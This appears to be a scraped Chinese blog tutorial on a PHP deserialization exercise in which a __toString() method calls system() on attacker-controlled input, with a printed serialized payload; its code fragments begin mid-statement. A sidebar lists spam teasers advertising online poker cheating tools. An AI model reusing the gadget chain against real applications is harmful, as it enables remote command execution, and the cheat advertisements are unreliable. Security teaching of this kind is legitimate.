【web】-反序列化-to_string
创始人
2024-12-28 06:04:56
0次 
s;     }      } class B{     public $cmd;     public function __toString()     {         system($this->cmd);         return 1;     } } unserialize($_GET['code']);

__toString()当对象被当着字符串执行的时候，自动执行

起点："hello".$this->s;

终点：system($this->cmd);

跳板："hello".$this->s;

s;     }      } class B{     public $cmd;     public function __toString()     {         system($this->cmd);         return "1";     } }   $a = new A(); $b = new B(); $b->cmd='dir'; $a->s=$b;  echo serialize($a); ?>   O:1:"A":1:{s:1:"s";O:1:"B":1:{s:3:"cmd";s:3:"dir";}}

执行结果如下：

上一篇：EasyAnimate-v3版本支持I2V及超长视频生成

下一篇：STM32全栈嵌入式人脸识别考勤系统：融合OpenCV、Qt和SQLite的解决方案

相关内容

热门资讯

实测揭晓!(德州微扑克)外挂辅... 实测揭晓!(德州微扑克)外挂辅助下载!(cloudpoker辅助透视)攻略教程(2025已更新)(哔...
黑科技插件！红龙扑克辅助工具，... 黑科技插件！红龙扑克辅助工具，德州之星辅助可以用，攻略方法（有挂教程）-哔哩哔哩;德州之星辅助可以用...
三分钟黑科技！uupoker有... 三分钟黑科技！uupoker有透视吗，We poker辅助器下载（透视）插件教程（有挂方式）1、点击...
透视辅助!(线上德州ai)外挂... 透视辅助!(线上德州ai)外挂辅助透视插件!(众合推扑克)AI教程(2026已更新)(哔哩哔哩)；亲...
代打辅助挂！aa扑克辅助，aa... 代打辅助挂！aa扑克辅助，aapoker俱乐部，解说技巧（讲解有挂）-哔哩哔哩；aapoker俱乐部...
8分钟科普！werplan怎么... 8分钟科普！werplan怎么透视，wepoker辅助器激活码（透视）透视教程（有挂存在）1、在we...
透视免费!(微扑克)外挂透明挂... 透视免费!(微扑克)外挂透明挂ai辅助助手!(Epoker外挂)透明挂教程(2023已更新)(哔哩哔...
三分钟了解！微扑克ai代打，德... 三分钟了解！微扑克ai代打，德扑之星软件有猫腻，高科技教程（真实有挂）-哔哩哔哩;相信小伙伴都知道这...
第9分钟体悟！wepoker挂... 第9分钟体悟！wepoker挂，拱趴大菠萝怎么开挂（透视）2025新版总结（有挂分享）1、许多玩家不...
9分钟熟悉！约局吧德州可以透视... 9分钟熟悉！约局吧德州可以透视吗，德州局透视脚本（透视）教你教程（讲解有挂）在进入约局吧德州可以透视...